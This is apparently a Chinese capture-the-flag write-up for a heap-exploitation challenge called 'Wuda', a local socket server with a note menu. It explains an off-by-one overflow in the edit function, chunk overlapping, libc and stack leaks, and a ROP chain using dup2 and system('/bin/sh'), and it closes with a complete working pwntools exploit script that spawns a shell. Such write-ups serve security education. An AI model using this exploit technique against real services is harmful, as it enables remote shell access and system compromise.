0%

Wuda

首先,我们检查一下程序的保护机制

然后,我们用IDA分析一下

是一个类似于服务器的程序,监听了本地端口1337

看起来很复杂,当我们的关注点不在这

我们的关注点在这,当数据包满足一定的条件后,就能调出菜单。

菜单里是经典的增删改查操作

堆的大小没有限制,最多可以保存10个堆指针。

经过分析,我们发现节点的结构体是这样的

1
2
3
4
typedef struct Node {    
int64_t size;
char *content;
};

malloc的顺序是这样的

1
2
3
Node *node = (Node *)malloc(sizeof(Node))  
node->size = size;
node->content = (char *)malloc(sizeof(char)*size)

[edit功能存在一个off by one漏洞]{.mark},能够溢出一个字节数据

show功能不存在漏洞

delete功能不存在UAF漏洞

解题思路

构造这样的堆布局

chunk3需要借位到chunk4通过chunk3的off by one,控制chunk4堆块的size的prev_inuse位为0,代表前一个相邻块为free的状态,在content2的末尾8字节,伪造prev_size为0、1、2、3的总大小

释放chunk4后,出现了上图的布局,绿色区域的表示都被合并到了chunk0

我们知道**[,node结构体里有一个content指针,我们能够控制这个指针,就能实现任意地址读写]{.mark}**,我们只需malloc一个大于等于0xA0的堆,就能够控制整个node1了,就能轻而易举的修改node1的content指针

实现了任意地址的读写,[本题我们写了free_hook或者malloc_hook以后还没有完事]{.mark},本题是一个服务器端程序,我们简单的getshell,只会在服务器上弹出shell并且socat只对端口做了转发,不像其他类型的pwn是由socat重定向0和1。因此,[我们还需要手动把0和1重定向到socket的fd中去,这样,我们才能在我们这边得到shell。]{.mark}

我们既然已经实现了任意地址读写,那么我们不如写ROP到某函数的返回处的栈地址处。利用ROP,我们可以调用dup2函数来重定向0和1文件描述符到socket的文件描述符,也可以mprotect一块RWX的内存,跳过去执行,这里我选择的是直接ROP执行dup2函数。

综上,我们的exp脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
#coding:utf8  
from pwn import *

sh = remote('127.0.0.1',1337)
#sh = remote('127.0.0.1',2333)
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
pop_rdi = 0x4092c3
#pop rsi ; pop r15 ; ret
pop_rsi = 0x4092c1
malloc_hook_s = libc.symbols['__malloc_hook']
system_s = libc.sym['system']
dup2_s = libc.sym['dup2']
binsh_s = libc.search('/bin/sh').next()
#借助environ,我们可以得到栈地址
environ = libc.symbols['environ']

def init_connect():
#magic
sh.send('RPCM')
sh.send(p32(0x10))
sh.send(p32(0))
#发送-1,网络序是大端,因此我们逆序
sh.send(p32(0x100000000-1)[::-1])

def create(size,content):
sh.sendlineafter('Your choice :','1')
sh.sendlineafter('Size:',str(size))
sh.sendafter('Content:',content)

def edit(index,content):
sh.sendlineafter('Your choice :','2')
sh.sendlineafter('Index:',str(index))
sh.sendafter('Content: ',content)

def show(index):
sh.sendlineafter('Your choice :','3')
sh.sendlineafter('Index :',str(index))


def delete(index):
sh.sendlineafter('Your choice :','4')
sh.sendlineafter('Index :',str(index))

init_connect()
#=====这个骚操作,是为了让以后申请的块能够连续===
create(0x1000,'\x00'*0x1000)
create(0x1000,'\x00'*0x1000)
delete(0)
delete(1)
#===============================================

#unsorted bin范围的chunk,用于泄露libc指针
create(0x80,'a'*0x80) #0
create(0x10,'b'*0x10) #1
create(0x80,'c'*0x80) #2
create(0x20,'d'*0x20) #3
create(0x20,'e'*0x20) #4

delete(0)
create(0x80,'\n')
#泄露libc指针
show(0)
sh.recvuntil('Content : ')
main_arena_xx = u64(sh.recv(6).ljust(8,'\x00'))
malloc_hook_addr = (main_arena_xx & 0xFFFFFFFFFFFFF000) + (malloc_hook_s & 0xFFF)
libc_base = malloc_hook_addr - malloc_hook_s
system_addr = libc_base + system_s
binsh_addr = libc_base + binsh_s
environ_addr = libc_base + environ
dup2_addr = libc_base + dup2_s
print 'libc_base=',hex(libc_base)
print 'system_addr=',hex(system_addr)
print 'binsh_addr=',hex(binsh_addr)
print 'dup2_addr=',hex(dup2_addr)
#=============这里的操作,是为了让chunk0、2、3的数据域相邻,而chunk1结构体和数据则处于0和2之间,这样,我们利用off by one,控制chunk3的size=====
delete(2)
delete(3)
create(0x18,'c'*0x18) #2
delete(4)
create(0x80,'d'*0x80) #3
#============================
#现在chunk2 off by one,覆盖chunk1的size的低一字节
#使得prev_size = 0xE0,prev_inuse位为0,这样我们就可以向前合并
edit(2,'c'*0x10 + p64(0xF0) + p8(0x90))
delete(0)
#向前合并
delete(3)

create(0xA0,'a'*0x80) #0
#现在节点1的结构体重合到了节点0的数据域末尾,我们可以修改了,我们将节点1的结构体内的数据域指针指向我们需要的地址,实现任意地址读写
#现在,我们要泄露栈地址,我们就把指针指向environ
payload = 'a'*0x80 + p64(0x90) + p64(0x21) + p64(0x10) + p64(environ_addr)
edit(0,payload)
#泄露栈地址
show(1)
sh.recvuntil('Content : ')
stack_addr = u64(sh.recv(6).ljust(8,'\x00'))
#计算出fd存放的位置
fd_addr = stack_addr - 0x77C
print 'fd_addr=',hex(fd_addr)
#泄露fd
payload = 'a'*0x80 + p64(0x90) + p64(0x21) + p64(0x4) + p64(fd_addr)
edit(0,payload)
show(1)
sh.recvuntil('Content : ')
fd = u32(sh.recvuntil('\n',drop = True).ljust(4,'\x00'))
print 'fd=',hex(fd)
#计算ROP写入的位置,即写到edit函数的返回地址存放处即可
rop_addr = stack_addr - 0x740
#dup(fd,0)
rop = p64(pop_rdi) + p64(fd) + p64(pop_rsi) + p64(0) * 2 + p64(dup2_addr)
#dup(fd,1)
rop += p64(pop_rdi) + p64(fd) + p64(pop_rsi) + p64(1) * 2 + p64(dup2_addr)
#system('/bin/sh')
rop += p64(pop_rdi) + p64(binsh_addr) + p64(system_addr)

#指向rop_addr,然后写ROP
payload = 'a'*0x80 + p64(0x90) + p64(0x21) + p64(len(rop)) + p64(rop_addr)
edit(0,payload)
edit(1,rop)

sh.interactive()